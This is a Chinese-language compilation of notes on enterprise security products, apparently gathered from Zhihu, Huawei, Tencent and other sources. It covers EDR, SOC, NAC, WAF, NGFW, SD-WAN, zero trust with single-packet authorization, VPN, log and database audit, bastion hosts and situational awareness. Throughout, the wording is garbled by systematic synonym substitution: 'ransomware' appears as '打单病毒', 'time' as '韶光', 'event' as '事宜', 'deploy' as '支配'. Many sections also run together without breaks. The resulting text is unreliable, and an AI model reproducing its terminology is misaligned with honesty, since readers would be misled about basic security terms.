企业信息系统免遭高等持续性攻击和敏感数据免遭丢失或盗取已是当务之急，终端打算机是源头，也是终点。
内核文件驱动和网络驱动深度适配 Windows、Linux 操作系统 -> 有能力支持文件类型识别和网络报文深度解析轻量级本地特色库检测常见和盛行的恶意软件恶意文件检测引擎通过智能深度学习，真正洞察打单和挖矿病毒的行为特色，有效检测已知打单病毒及其家族的未知变种，以高检出率和低误报率的算法模型，构建完全的打单病毒和挖矿病毒的防御体系客户端可以自动将受传染文件或可疑文件隔离至本地隔离区阻挡策略下发，多个端点实行相应的对策操作高清记录 -》 内核态记录“文件操作”、“进程事宜”和“注册表操作”，从用户态采集“系统事宜”，还通过 DPI（深度报文解析）功能识别并记录超过 1000 种以上的网络协议及运用减少暴露面 -》 资产管理，补丁管理，USB 外设管控，进程管理，日志审计，违规外联统一管理 -》支持上万点客户端规模的支配，并实现策略统一管理，病毒特色库统一下发和威胁日志汇总统一呈现2. SOC（安全运营中央）
Reference：https://zhuanlan.zhihu.com/p/392186104
统统环绕着提升安全能力开展的事情都属于安全运营。安全培植仅仅是一个开始，只有运营才能有效提升企业安全防御效果。
安全运营整体框架可分为几个小框架，分别是安全防护框架、安全运维框架、安全验证框架和安全度量框架。
安全防护框架的目的是尽可能多的支配有效的安全感知器 Sensor，这些安全感知器构成了信息安全的一个天网。安全 Sensor 会产生大量的监测日志，作为安全运维框架的输入。安全运维框架落地时企业一样平常会支配像 SIEM 安全大数据平台或类似平台，来实现安全检测信息的统一采集，剖析、处理和存储，并通过两种办法进行非常检测告警。-> 非常检测规则 + 基于算法剖析(top10、top100，然后再交由二线专家进行剖析)安全运维框架 -> 安全事宜的流程化处理和定期的 review 申报请示 / 安全事宜的确认和溯源剖析安全验证框架是指建立自动化的验证平台，对安全防护框架的管控方法实现百分百的全面验证SOAR 一词全称是 Security Orchestration, Automation and Response，即安全编排和自动化相应，SOAR 的条件是 SOP，只有制订了足够多、足够细的 SOP，才能够有希望实现 SOAR，因此，高质量 SOP 是一线发挥浸染的根本
事宜名称
事宜 ID
报告日期
影响概述
事宜影响级别
外部影响描述：内部影响描述：
系统信息
系统 IP
卖力人
事宜关键韶光
创造韶光
安全初查韶光
漏洞修复韶光
安全复查韶光
事宜处置过程
处置过程
处置步骤
1
2
影响剖析
法务影响
无
业务影响
无
数据影响
安全风险
无
其他
无
缘故原由剖析
缘故原由分类
□ 设备举动步伐 □ 运用系统 □ 职员 □ 流程 □ 外部成分
缘故原由剖析
后续改进
① 验证安全 Sensor 安全监测功能是否有效；
② 验证安全 Sensor 所产生监测信息到 SIEM 平台的信息采集是否有效；
③ 验证 SIEM 平台的安全检测规则是否有效；
④ 验证告警办法（邮件、短信与可视化 展示平台）是否有效
矩阵式监控，多维度
3. EDR（端点检测与相应（(Endpoint Detection and Response，EDR））
Reference:https://zhuanlan.zhihu.com/p/564398361
what：
端点检测和相应是一种主动式端点安全办理方案，通过记录终端与网络事宜（例如用户，文件，进程，注册表，内存和网络事宜），并将这些信息本地存储在端点或集中数据库。结合已知的攻击指示器(Indicators of Compromise，IOCs)、行为剖析的数据库来连续搜索数据和机器学习技能来监测任何可能的安全威胁，并对这些安全威胁做出快速相应。还有助于快速调查攻击范围，并供应相应能力。
安全模型：
（1）资产创造：定期通过主动扫描、被动创造、手工录入和人工排查等多种方法网络当前网络中所有软硬件资产，包括全网所有的端点资产和在用的软件名称、版本，确保全体网络中没有安全盲点。
（2）系统加固：定期进行漏洞扫描、补丁修复、安全策略设置和更新端点软件清单，通过软件白名单限定未经授权的软件运行，通过主机防火墙限定未经授权的做事端口开放，并定期检讨和清理内部职员的账号和授权信息。
（3）威胁检测：通过端点本地的主机入侵检测和借助云端威胁情报、非常行为剖析、攻击指示器等办法，针对各种安全威胁，在其发生前、发生中、发生后进行相应的安全检测动作。
（4）相应取证：针对全网的安全威胁进行可视化展示，能够针对安全威胁自动化地进行隔离、修复息争救，自动完成安全威胁的调查、剖析和取证事情，降落事宜相应和取证剖析的技能门槛，不须要依赖于外部专家即可完成快速相应和取证剖析。
紧张技能：
沙箱(Sandbox)机器学习大数据剖析：为应对 APT 攻击的极强持续性和阶段性，关联剖析过程中应只管即便网络各层面、各阶段的全方位信息，同时适量将韶光窗口拉大，通过宽韶光域数据剖析提取具有内在关联的多少属性，识别出攻击发生的韶光、地点、攻击类型和强度等信息。数字取证：存在于打算机、网络、电子设备等数字设备中的数字证据，进行确认、保护、提取和归档的过程。在 EDR 中，数字取证要战胜云打算环境取证、智能终端取证、大数据取证等关键技能，自动定位和采集端点人侵电子证据，降落取证剖析的技能门槛，提高取证效率及其剖析结果的准确性，为端点安全事宜调查、打击网络犯罪供应技能支持。优点与局限性
EDR 完全覆盖端点安全防御全生命周期。对付各种安全威胁事宜，EDR 在其发生前、发生中、发生后均能够进行相应的安全检测和相应动作。安全事宜发生前，实时主动采集端 安全数据和针对性地进行安全加固；安全事宜发生时，通过非常行为检测、智能沙箱剖析等各种安全引擎，主动创造和阻挡安全威胁；安全事宜发生后，通过端点数据追踪溯源EDR 能够广泛适应传统打算机网络、云打算、边缘打算等各种网络架构，能够适用于各种类型的端点，且不受网络和数据加密的影响。EDR 的局限性在于并不能完备取代现有的端点安全防御技能。EDR 与防病毒、主机防火墙、主机入侵检测、补丁加固、外设管控、软件白名单等传统端点安全防御技能属于互补关系，并不是取代关系。4. 安全U盘Reference:https://www.seczure.com/newsinfo/2412136.html
1、U 盘可以实现数据防复制、防拷贝，不同身份利用不同权限
2、U 盘 100% 防病毒，所有数据均通过 api 读写
3、所有数据读写均有日志，可以通过管理员导出日志审计
4、可供应 U 盘策略修正、日志读取接口
5、可以绑定公司内网，U 盘离开公司无法打开利用
防拷贝、防复制： 只能在 U 盘内部打开浏览，无法复制；不能另存为，不能删除格式化；无法通过邮件、网络等办法导出数据。独立的文件系统为数据供应防病毒保护，且分区保护的特性具备完备杜绝数据拷贝盗取的行为。
防截图、防录屏： 禁止截图、录屏软件利用；可设置禁止远程。
多用户管理： 通过新建用户，对不同用户进行不同的权限设置，可依据资料密级划分及对应的利用职员去分配优盘及用户账号密码，并为其配置好相应的权限，方便管理，且不易出错。
可设置自动销毁： 文件保管人须要对保管的文件进行定期清理时，可在策略管理中配置好利用韶光、次数等，超过利用韶光或次数时，优盘会自动销毁所储存的资料。
可设置绑定台数： 可以通过绑定电脑 IP 地址的办法，进一步限定普通用户的利用。
即插即用： 可以随身携带，不须要安装插件即可利用，无需花费大量韶光跟精力对互助方进行利用培训。
策略名称
策略功能解释
普通 U 盘掌握
对普通 U 盘设置权限为：禁止利用、许可只读、许可读写。
启用 U 盘标签认证
打开安全 U 盘功能
认证标签列表（添加标签）
选择设定的标签类型；例如标签 1、标签 2、标签 3 三种标签，分别对应公司内部信息中央、发卖部、办公室的安全 U 盘设备。比如，针对信息中央的所有客户端制订一条策略，设置安全 U 盘在信息中央的打算机上的利用权限；设置发卖部、办公室的安全 U 盘在信息中央打算机上的利用权限；掌握权限范围到数据区（交流区、保密区）。
本单位标签认证失落败
本单位标签，是指安全 U 盘被打上了本单位的标签
外单位标签认证失落败
外单位标签，是非本单位信息的外单位安全 U 盘
软盘利用掌握、光盘利用掌握
针对 USB 类型的移动存储设备进行读写掌握，USB 软盘、USB 光盘刻录机等是否可以将数据拷出
审计过滤
针对特定类型的文件进行审计，不设置此项，程序默认为全部审计
登录交流区后自动杀毒
针对!SAFE6 标签的安全 U 盘插入打算机后自动调用操作系统的杀毒软件对交流区进行病毒查杀，支持动态添加各厂商的杀毒软件设置
例外判断
针对特定安全 U 盘，如公章系统盘，不进行访问掌握判断，其他类似，只须要填写特色文件名即可
中间机策略
打算机设置过整盘加密策略，此时与外来安全 U 盘进行数据交流时，进行干系的设置
5. NAC（网络准入掌握）定义：
只有合法的用户、安全的终端才可以接入网络，隔离造孽、不屈安的用户和终端，或者仅许可他们访问受限的资源。以此来提升全体网络的安全防护能力。
为什么：
许多重大的安全漏洞每每涌如今网络内部，例如园区内部员工在浏览某些网站时，一些特工软件、木马程序等恶意软件也会不知不觉地被***到电脑中，并在内网传播，产生严重的安全隐患。因此，在园区网络中，任何一台终真个安全状态（紧张是指终真个防病毒能力、补丁级别和系统安全设置）都将直接影响到全体网络的安全。其余，园区网络涌现大量造孽接入和非授权访问用户时，也会导致业务系统遭受毁坏、关键信息资产泄露的风险。NAC 方案能够有效的管理网络访问权限、及时的更新系统补丁、升级病毒库，让管理员更快捷的查找、隔离及修复不屈安的终端，知足园区网络内部的安全需求。
安全能力：
身份认证访问掌握：根据用户身份、接入韶光、接入地点、终端类型、终端来源、接入办法（简称 5W1H）风雅匹配用户，掌握用户能够访问的资源安全性检讨：对终真个安全性（杀毒软件安装、补丁更新、密码强度等）进行扫描，在接入网络前完成终端安全状态的检讨。对终端不屈安状态能够与网络准入设备进行联动，当创造不屈安终端接入网络的时候，能够对这些终端实现一定程度的阻断系统存在安全隐患，NAC 方案供应了系统自动和手动修复升级功能架构：
安全终端：安全终端是安装在用户终端系统上的软件，是对用户终端进行身份认证、安全状态评估以及安全策略履行的主体。网络准入设备：网络准入设备是网络中安全策略的履行点，卖力按照客户网络制订的安全策略，履行相应的准入掌握（许可、谢绝、隔离或限定）。华为 NAC 方案支持 802.1X、MAC 认证和 Portal 等多种认证办法。在各种认证办法下，网络准入设备赞助用户终端与准入做事器进行认证。网络准入设备可以是交流机、路由器、无线接入点或其它安全设备，通过这些网络准入设备，实现逼迫用户准入认证、谢毫不法用户的网络访问、隔离不康健终端、为“合法用户、康健终端”供应网络做事的目的。做事器系统：做事器系统包括准入掌握做事器、病毒/补丁/软件做事器和业务做事器。准入掌握做事器是 NAC 方案的核心，用户在身份认证和安全检讨通过前就可以访问，紧张卖力对用户进行认证和安全审核，履行安全策略，并且与网络准入设备联动，下发用户权限。用户已通过身份认证但终端安全检讨未通过时，一样平常会访问病毒/补丁/软件做事器，进行终端上病毒库的自动更新、操作系统和运用软件的补丁安装和更新等，以知足终端安全检讨的哀求。业务做事器用于企业业务管理，只有通过认证和授权后的用户才能访问。6. WAF（Web 运用防火墙）Reference：https://cloud.tencent.com/document/product/627/17470 & https://zhuanlan.zhihu.com/p/97396469
Web 运用防火墙可以防止 Web 运用免受各种常见攻击，比如 SQL 注入，跨站脚本漏洞（XSS）等。WAF 也能够监测并过滤掉某些可能让运用遭受 DOS（谢绝做事）攻击的流量。WAF 会在 HTTP 流量抵达运用做事器之前检测可疑访问，同时，它们也能防止从 Web 运用获取某些未经授权的数据。
功能
简介
AI + Web 运用防火墙
基于 AI + 规则的 Web 攻击识别，防绕过、低漏报、低误报、精准有效防御常见 Web 攻击，如 SQL 注入、非授权访问、XSS 跨站脚本、CSRF 跨站要求假造，Webshell 木立时传等 OWASP 定义的十大 Web 安全威胁攻击
0day 漏洞虚拟补丁
腾讯安全团队 724 小时监测，主动创造并相应，24 小时内下发高危 Web 漏洞，0day 漏洞防护虚拟补丁，受护用户无需任何操作即可获取紧急漏洞、0day 漏洞攻击防护能力，大大缩短漏洞相应周期
网页防修改
用户可设置将核心网页内容缓存云端，并对外发布缓存中的网页内容，实现网页替人效果，防止网页修改给组织带来负面影响
数据防泄露
通过事前做事器运用隐蔽，事中入侵防护及事后敏感数据更换隐蔽策略，防止后台数据库被黑客盗取
CC 攻击防护
智能 CC 防护，综合源站非常相应情形（超时、相应延迟）和网站行为大数据剖析，智能决策天生防御策略。多维度自定义精准访问掌握、合营人机识别和频率掌握等对抗手段，高效过滤垃圾访问及缓解 CC 攻击问题
爬虫 BOT 行为管理
基于 AI + 规则库的网页爬虫及 BOT 机器人管理，帮忙企业规避恶意 BOT 行为带来的站点用户数据透露、内容侵权、竞争比价、库存查取、黑产 SEO、商业策略外泄等业务风险问题
API 安全
指保护运用程序编程接口（API）不受恶意攻击或滥用的方法，通过主动学习的办法自动创造业务访问中存在的 API 接口，帮助用户快速梳理网络中的已知与未知 API 资产并进行分类分级，构建 API 画像清单；同时，基于威胁检测与数据识别引擎，供应攻击防护、盗用防护、滥用防护和数据保护等能力。
30 线 BGP IP 接入防护
WAF 支持防护节点 30 线独享 BGP IP 链路接入，节点智能调度，有效办理访问延迟问题，保障不同城市用户的站点访问速率，实现网站访问速率影响无感知的云 WAF 安全防护支配
SaaS 型 WAF用户在 WAF 上添加防护域名并设置回源信息后，WAF 将为防护域名分配唯一的 CNAME 地址。用户可以通过修正 DNS 解析，将原来的 A 记录 修正为 CNAME 记录，并将防护域名流量调度到 WAF 集群。WAF 集群对防护域名进行恶意流量检测和防护后，将正常流量回源到源站，保护网站安全。
负载均衡型 WAF
WAF 通过配置域名和腾讯云七层负载均衡（监听器）集群进行联动，对经由负载均衡的 HTTP/HTTPS 流量进行旁路威胁检测和洗濯，实现业务转发和安全防护分离，最大限度减少安全防护对网站业务的影响，保护网站稳定运行。
负载均衡型 WAF 供应两种流量处理模式：
镜像模式：通过域名进行关联，CLB` 镜像流量到 WAF 集群，WAF 进行旁路检测和告警，不返回要求可信状态。
洗濯模式：通过域名进行关联，CLB 镜像流量到 WAF 集群，WAF 进行旁路检测和告警，同步要求可信状态，CLB 集群根据状态对要求进行拦截或放行处理。
7. NGFW（Next Generation Firewall 传统状态防火墙和统一威胁管理（UTM）设备的下一代产品）
Reference：https://info.support.huawei.com/info-finder/encyclopedia/zh/NGFW.html
Gartner把NGFW看做不同信赖级别的网络之间的一个线速（wire-speed）实时防护设备，能够对流量实行深度检测，并阻断攻击。Gartner认为，NGFW必须具备以下能力：
传统的防火墙功能NGFW是新环境下传统防火墙的替代产品，必须前向兼容传统防火墙的基本功能，包括包过滤、协议状态检测、NAT、VPN等。运用识别与运用掌握技能具备运用感知能力，并能够基于运用履行风雅化的安全管控策略和层次化的带宽管理手段，是NGFW引进的最主要的能力。传统的状态检测防火墙事情在二到四层，不会对报文的载荷进行检讨。NGFW能对七层检测，可以清楚地呈现网络中的详细业务，并实施管控。IPS与防火墙深度集成NGFW要支持IPS功能，且实现与防火墙功能的深度领悟，实现1+1>2的效果。Gartner特殊强调IPS与防火墙的“集成”而不仅仅是“联动”。例如，防火墙应根据IPS检测到的恶意流量自动更新下发安全策略，而不须要管理员的参与。换言之，集成IPS的防火墙将更加智能。Gartner创造，NGFW产品和独立IPS产品的市场正在领悟，尤其是在企业边界的支配场景下，NGFW正在接管独立IPS产品的市场。利用防火墙以外的信息，增强管控能力防火墙能够利用其他IT系统供应的用户信息、位置信息、漏洞和网络资源信息等，帮助改进和优化安全策略。例如，通过集成用户认证系统，实现基于用户的安全策略，以应对移动办公场景下，IP地址变革带来的管控难题。防火墙从出身那一天起，便是紧随着网络演进的步伐马首是瞻的。
包过滤防火墙、状态检测防火墙、UTM设备、NGFW发展史
早期的包过滤防火墙仅实现访问掌握就可以知足初期网络隔离的诉求。随后的状态检测防火墙（也称为传统防火墙）集成了TCP/UDP和运用状态的检测能力，实现了L3-L4层的防护。它引入了策略的观点，把处理的目标从包转向了流，从而拥有更高的处理效率。2004年涌现了将传统防火墙、内容安全（防病毒、IPS和URL过滤等）和VPN等功能凑集到一起的UTM设备。每个模块独立运行，每次检测都须要重新拆包检讨，检测效率并没有得到提升。但是UTM的涌如今一定程度上简化了安全产品支配的难度，比较适宜小中型企业。由于WEB运用越来越多，运用和端口、协议之间的关系也越来越繁芜。同样是利用HTTP协议，有人可能在查学习资料，有人可能在玩游戏。以是光靠“五元组”来标识流量的传统防火墙已经无法看清网络中的流量了。此时，拥有运用识别技能的NGFW应运而生，它可以区分流量对应的运用，纵然这些运用出使了同一种协议、端口。而且NGFW将IPS、病毒防护等多种安全业务与防火墙业务深度集成，并行处理，办理了UTM设备须要逐个模块处理报文，性能低下的问题。不过，大部分情形下，UTM和NGFW不包含Web运用防火墙（WAF）的能力。传统防火墙、UTM设备、NGFW能力比拟
8. SD-WANReference：https://zhuanlan.zhihu.com/p/87281219 & https://www.sdnlab.com/24498.html
SD-WAN之前，处理公司网络流量的紧张方法是分支机构通过租用线路与公司数据中央或总公司联系，常日利用MPLS（它便是在数据流上打标签，有点像鸡毛信，见告沿路的所有设备：“我是谁，我要去哪里”。）。这种办法约占公司网络流量的80％，个中WAN路由器是基于硬件的、专有的、昂贵且相对不灵巧（支配周期长，排查问题难）。
MPLS专线是一种租用做事，它的所有权是属于电信运营商的。运营商把专线租给你，然后承诺这条线路的SLA（Service Level Agreement，做事等级协议，包括带宽、时延、抖动、丢包率等） 能达到什么样的哀求。
问题又来了，你租我租大家租，运营商的物理网络就这么一张，这么多公司的业务都在上面跑，怎么担保区分和隔离呢？
本地SD-WAN架构:
大家可以看到，全体网络架构的躯干，实在还是Internet和MPLS专线。但是，在架构之上，多了一个SD-WAN掌握器。这个掌握器，便是SD-WAN的管理掌握核心。 在分公司节点，还有总部节点，多了一些uCPE和vCPE这样的东西(SD-WAN Edge设备)。
云SD-WAN架构：云SD-WAN架构许可SD-WAN Edge设备连接到基于云的SD-WAN网关。SD-WAN供应实时流量调度、多电路负载平衡、故障转移以及对云运用程序的访问。云网关可由各种云供应商运用程序托管，包括Office 365，Salesforce和Dropbox。企业可以通过让关键的基于云的内部实时运用在小型MPLS管道上运行，让其他运用在公共互联网上运行来降落本钱。
云骨干架构使SD-WAN Edge设备连接到最近的网络POP点，这时流量将跳到MPLS上，并且还将拥有专线的SLA质量。大多数MPLS管道直接连接到紧张的云供应商，这提高了这些运用程序的性能和可靠性。对付那些想要拥有完全SD-WAN架构但仍旧担心宽带做事质量的公司来说，这种支配方法是可以利用的。该架构将非关键运用offload到低本钱宽带网络中，从而为关键业务运用分配了更多带宽，进而提高了所有运用程序的性能。
9. 上网行为管理Refernce：https://info.support.huawei.com/info-finder/encyclopedia/zh/%E4%B8%8A%E7%BD%91%E8%A1%8C%E4%B8%BA%E7%AE%A1%E7%90%86.html
代价：
规范上网行为：通过风雅化的审计机制和海量的行为特色库，针对员工进行上网行为和内容管理，严格掌握访问权限，禁止造孽和娱乐行为，规范用户上网行为，提升员工事情效率，营造“绿色”安全办公环境。审计、合规场景：上网内容本地留存，数据清晰易懂，帮助管理清晰理解内网行为态势；帮助公司相应国家政策哀求，知足法规的审计哀求。出口网关场景：具备高性能的NAT机制，为内外网用户访问资源保驾护航；具备丰富的多出口选路机制，领悟业务需求，增强业务、数据的可靠性；供应边界安全防护，有效过滤造孽访问行为。智能化带宽管理：优先保障组织关键业务，限定员工P2P行为，保障组织业务的连续性和稳定性；智能分配空闲时带宽资源，提升带宽利用效率；对用户流量“套餐”定制，分配指定流量套餐，对“套餐”逾额的用户进行人性化带宽。紧张依赖技能：https://github.com/ntop/nDPI + app identify（运用特色流多模匹配+机器学习+url标签）+ 策略
10. 零信赖Reference：http://www.caict.ac.cn/kxyj/qwfb/ztbg/202308/P020230828402611317149.pdf & https://zhuanlan.zhihu.com/p/382577136
& https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=214985
传统的安全模型通过 “一次验证+静态授权” 的办法评估实体风险，而零信赖基于 “持续验证+动态授权” 的模式构筑企业的安全基石。
业务上云后各种数据的集中支配冲破了数据的边界，同时放大了静态授权的管控风险，数据滥用风险变大。高低密级数据领悟导致权限污染，被动抬高整体安全等级，冲破安全和业务体验的平衡。资源从分散到云化集中管理，按需支配。由于当前安全管控策略分散、协同水平不高，云端主机一旦受到攻击，攻击将难以快速闭环，很难形玉成局防御。零信赖是应对上述寻衅的主要方法。采取零信赖方案可以统一身份管理，构筑身份边界，实时感知风险，实现动态和细粒度授权。
将身份作为访问掌握的根本最小权限原则实时打算访问掌握资源受控安全访问基于多源数据进行信赖等级持续评估
关键技能：
SDP（软件定义边界技能）-》 SPA (单包授权)
SDP特点：
预验证，预授权运用级别的访问准入网络隐身：spd做事器不对外暴露dns，ip接口，必须通过sdp专用客户端利用专有的协议才能连接SPA特点：
单包授权技能可以看作是端口拍门技能的演进，两者具有相同的目标，但实现办法却有很大不同。端口拍门利用多个数据包进行拍门，SPA则如名字所示，利用单个数据包进行访问申请，避免了拍门过程中因丢包等成分引起的失落败。SPA通过将所有必要信息集成在单个数据包（常日为UDP）内来简化流程。
数据包内信息一样平常包含：
韶光戳：客户端IP做事密码图2 单包授权数据包流程
图3 单包授权过程
SPA运行过程如图2、图3所示，在这个大略的SPA案例中，客户端将发包时的韶光戳（日期、小时、分钟）、客户端IP（UDP报头内）和做事密码组合在一起，天生哈希值。将哈希值打包成UDP数据包发送到做事器指定拍门端口。做事器根据吸收到UDP报头内韶光戳、客户端IP以及做事器内部存储的做事密码天生哈希值，与吸收到的哈希值进行比拟，如果相同，则为客户端打开申请访问的做事端口。做事器将记录它收到的末了一个有效授权的数据包，以防止攻击者发送旧的数据包进行重放攻击如果哈希值不匹配或者与此前收到的有效哈希值相同，则不实行任何操作。
在实际通信中，开源程序Firewall Knock Operator (fwknop)，实现了基于UDP的单包授权方案，也支持TCP和ICMP。fwknop通过加密打包用户名、访问端口、韶光戳等信息，发送到对应拍门端口，做事器识别后开启访问端口来实现SPA。
11. SSL VPN（虚拟专用网路Virtual Private Network）
Reference：https://pandavpnpro.com/blog/zh-cn/how-does-a-vpn-work & https://info.support.huawei.com/info-finder/encyclopedia/zh/VPN.html
what
虚拟专用网VPN（Virtual Private Network）是依赖Internet做事供应商ISP（Internet Service Provider）和网络做事供应商NSP（Network Service Provider）在公共网络中建立的虚拟专用通信网络，可以知足企业对网络的灵巧性、安全性、经济性、扩展性等方面的哀求。
两种模式
远程访问正常情形下，当您在浏览器输入你的目标访问地址 http://youtube.com，那么此信息会浏览器发送到协议栈并由其打包成 Packet 并交给正常网卡，进而由网卡把包转换成电旗子暗记通过网线发出去，而这统统都是 ISP、政府等通过真实 IP 地址可见的。有了 VPN 的存在，上面我们有提到，由于全体设备会多出一个 VPN 创建的虚拟网卡，那么原始数据包会由 VPN协议（如 PPTP, OpenVPN）进行重新封装（IP 头地址会变成所选 VPN 做事器的所属地址）并加密，然后通过虚拟网卡进行发送，这样一来任何第三方都是无法知道你的详细访问网址和行为。这样 VPN 的利用，不论从隐私性、安全性还是网络自由的角度来说，都是益处多多的。当Web 做事器接管处理要求并将目标信息返回时，统统数据依旧是被 VPN 所加密，以是全程保护，无需担心
站点互联
远程访问 VPN 可用于个人和公司，须要利用客户端软件和网关来对某个特定的网络进行连接。而站点到站点 VPN 是公司级工具，所有位置都会利用同一个共享网关，无需安装客户端，通过身份验证即可轻松连接。
组件：
VPN不是一种大略的高层业务，它要比普通的点到点运用繁芜得多。VPN的实现须要建立用户之间的网络互联，包括建立VPN内部的网络拓扑、进行路由打算、掩护成员的加入与退出等。因此，VPN体系构造较繁芜，可以概括为以下三个组成部分：
VPN隧道：包括隧道的建立和管理。VPN管理：包括VPN配置管理、VPN成员管理、VPN属性管理（管理做事供应商边缘设备PE上多个VPN的属性，区分不同的VPN地址空间）、VPN自动配置（指在二层VPN中，收到对端链路信息后，建立VPN内部链路之间的对应关系）。VPN信令协议：完成VPN中各用户网络边缘设备间VPN资源信息的交流和共享（对付L2VPN，须要交流数据链路信息；对付L3VPN，须要交流路由信息；对付VPDN，须要交流单条数据链路直连信息），以及在某些运用中完成VPN的成员创造。实现模式：
设备CE1发送用户报文给设备PE1。设备PE1收到报文后，根据网络管理员设置的规则，对数据进行加密或直接传输。对须要加密的数据，PE1将用户的全体数据包（包括源IP地址和目的lP地址等）进行加密并附上数据署名，然后再封装上新的数据报文头（包含隧道标签、安全等信息）。对付不须要加密的数据，PE1直接封装上新的数据报文头（包含隧道标签T等信息）。PE1将封装好的数据包通过公网隧道发送给远端设备PE2。PE2收到数据包后，校验目的IP地址是自己，然后解封装，对付加密的数据，核对数字署名无误后，对数据包进行解密，然后发给用户CE2。对付未加密的数据，直接发给用户CE2。12. 日志审计 LAS(Log Audit System)
Reference：https://console1.cloud.inspur.com/document/las/1-service-introduction.html
基于大数据架构的综合日志管理平台，通过大数据技能的海量日志采集、异构设备日志范式化及安全事宜关联剖析，实现日志全生命周期管理。帮忙运维职员从事前（创造安全风险）、事中（剖析溯源）及事后（调查取证）等多个维度监控网络安全事宜，助力企业知足《网络安全法》及等保合规哀求。
功能
日志采集：全面支持Syslog、SNMP日志协议，可以覆盖主流硬件设备、主机及运用，保障日志信息的全面网络。实现信息资产（网络设备、安全设备、主机、运用及数据库）的日志获取，并通过预置的解析规则实现日志的解析、过滤及聚合。日志格式统一化处理：日志审计系统支持针对不同格式的日志信息解析提取关键信息完成日志信息的过滤、日志合并和日志格式的统一化规整，规整后的日志字段包括日志吸收韶光 、日志产生韶光、日志持续韶光、用户名称、源地址、源MAC地址、源端口、操作、目的地址 、目的MAC地址、目的端口、日志的事宜名称、择要、等级、原始等级等等，使规整后的日志大略易懂便于剖析，统一化处理的日志格式可通过导入解析文件的办法灵巧扩展。日志剖析：系统供应基于规则的日志信息关联剖析技能对海量日志数据进行多维度关联剖析，第一韶光创造网络中发生或隐蔽的各种安全事宜、安全威胁。系统内置大量的日志剖析规则，并供应可视化的规则自定义配置界面，方便管理员快捷的制订针对安全事宜关联剖析的过滤规则、关联剖析规则以及相对应安全事宜的告警办法等。告警展示：日志审计供应安全告警能力，多维度图形化展示告警信息概况，以韶光为轴线展示告警发展趋势以及列表展示告警详情。帮助管理员直不雅观节制网络环境安全现状，并对未来网络安全形势进行相应评估。告警信息实时刷新，管理员可通过多维度多条件的查询告警信息，准确定位实时安全事宜来源。日志检索：支持通过任意字段从数以百亿级的日志信息中检索所须要的日志内容，并供应丰富的日志检索模板，让日志查询大略、易用。此外支持查询结果下钻上卷，支持原始日志与归一化日志同屏显示。支持查询结果显示界面快捷统计。数据存储：可根据制订的存储策略存储指定时间内的或一定空间容量的日志信息，可通过制订日志备份策略和日志空间告警阈值保障日志信息的可用性。合规监管：日志留存知足《网络安全法》、《数据安全法》干系哀求，推动等保合规。产品支配
通过Region Boss下单后自动为租户创建云堡垒机做事实例，通过标准syslog实现日志网络，个中linux系统、网络产品、安全产品可通过设置syslog日志做事器地址发送日志，windows操作系统需安装agent进行日志采集。
界面信息：
13. 堡垒机
Reference：https://zhuanlan.zhihu.com/p/269609995
what:
堡垒机，即在一个特定的网络环境下，为了保障网络和数据不受来自外部和内部用户的入侵和毁坏，而利用各种技能手段监控和记录运维职员对网络内的做事器、网络设备、安全设备、数据库等设备的操作行为，以便集中报警、及时处理及审计定责。
用一句话来说，堡垒机便是用来后掌握哪些人可以登录哪些资产（事先戒备和事中掌握），以及录像记录登录资产后做了什么事情（事溯源）
从跳板机蜕变而来，更加符合权限可控+行为可控（4A:认证（Authen）、授权（Authorize）、账号（Account）、审计（Audit））
目标：
审计：你做了什么？（What）授权：你能做哪些？（Which）账号：你要去哪？（Where）认证：你是谁？（Who）来源：访问韶光？（When）组件：
开源版本：jumpserver
14. 数据库审计（DBAudit）Reference：https://cloud.tencent.com/developer/techpedia/1082
数据库审计是指对数据库的操作进行跟踪、记录、剖析和报告的过程。通过数据库审计，可以监控数据库的访问和操作，及时创造并应对安全事宜。数据库审计可以记录用户登录、查询、修正、删除等操作，以及操作的韶光、地点、来源等信息，以便进行安全审计和监控。
目的：
安全审计：对数据库的安全方法进行审计，包括访问掌握、数据加密、漏洞修补等。安全审计可以创造数据库的安全漏洞和弱点，及时采纳方法进行修补和优化。操作审计：对数据库的操作进行审计，包括用户登录、查询、修正、删除等操作。操作审计可以创造造孽访问和操作，及时创造和应对安全事宜。数据审计：对数据库中的数据进行审计，包括数据的创建、修正、删除等操作。数据审计可以创造数据透露和修改等安全问题，及时采纳方法进行处理和规复。性能审计：对数据库的性能进行审计，包括数据库的负载、相应韶光、资源利用情形等。性能审计可以创造数据库的性能问题和瓶颈，优化数据库的配置和运维，提高数据库的运行效率和稳定性。合规性审计：对数据库的合规性进行审计，包括符合干系法规和标准。合规性审计可以创造不符合标准的问题，及时采纳方法进行整改和优化。基本组件
日志记录：记录数据库的各种操作和事宜，包括登录、查询、修正、删除等操作，以及安全事宜和系统事宜等。日志记录是数据库审计的根本。审计谋略：制订数据库审计谋略，包括审计的内容、范围、频率、记录办法等。审计谋略该当根据实际需求和安全风险进行定制，以确保审计的有效性温柔应性。审计剖析：对数据库的审计日志进行剖析和解读，创造非常行为和安全事宜，并及时采纳相应的方法。审计剖析可以采取日志剖析工具、安全警报等技能来实现。审计报告：定期天生数据库审计报告，包括审计的结果、问题和建议等。审计报告可以帮助企业及时创造和解决安全问题，提高安全意识和戒备能力。15. 网络态势感知(Cyberspace Situation Awareness，CSA)Reference：https://www.freebuf.com/articles/es/197268.html
在大规模网络环境中对能够引起网络态势发生变革的安全要素进行获取、理解、显示以及最近发展趋势的顺延性预测，而终极的目的是要进行决策与行动。
（1）态势感知是理解当前的状态，包括状态识别与确认（攻击创造），以及对态势感知所需信息来源和素材的质量评价。
（2）态势理解则包括理解攻击的影响、攻击者（对手）的行为和当前态势发生的缘故原由及办法。大略可概括为：危害评估、行为剖析（攻击行为的趋势与意图剖析）和因果剖析（包括溯源剖析和取证剖析）。
（3）态势预测则是对态势发展情形的预测评估，紧张包括态势蜕变（态势跟踪）和影响评估（情境推演）
在传统的防御思维里，我们会在安全事宜发生之后去取证，溯源，可是对客户造成的丢失已经无法填补，以是我们须要的在事宜发生中，乃至发生前去感知到，进一步有针对性地进行防御。
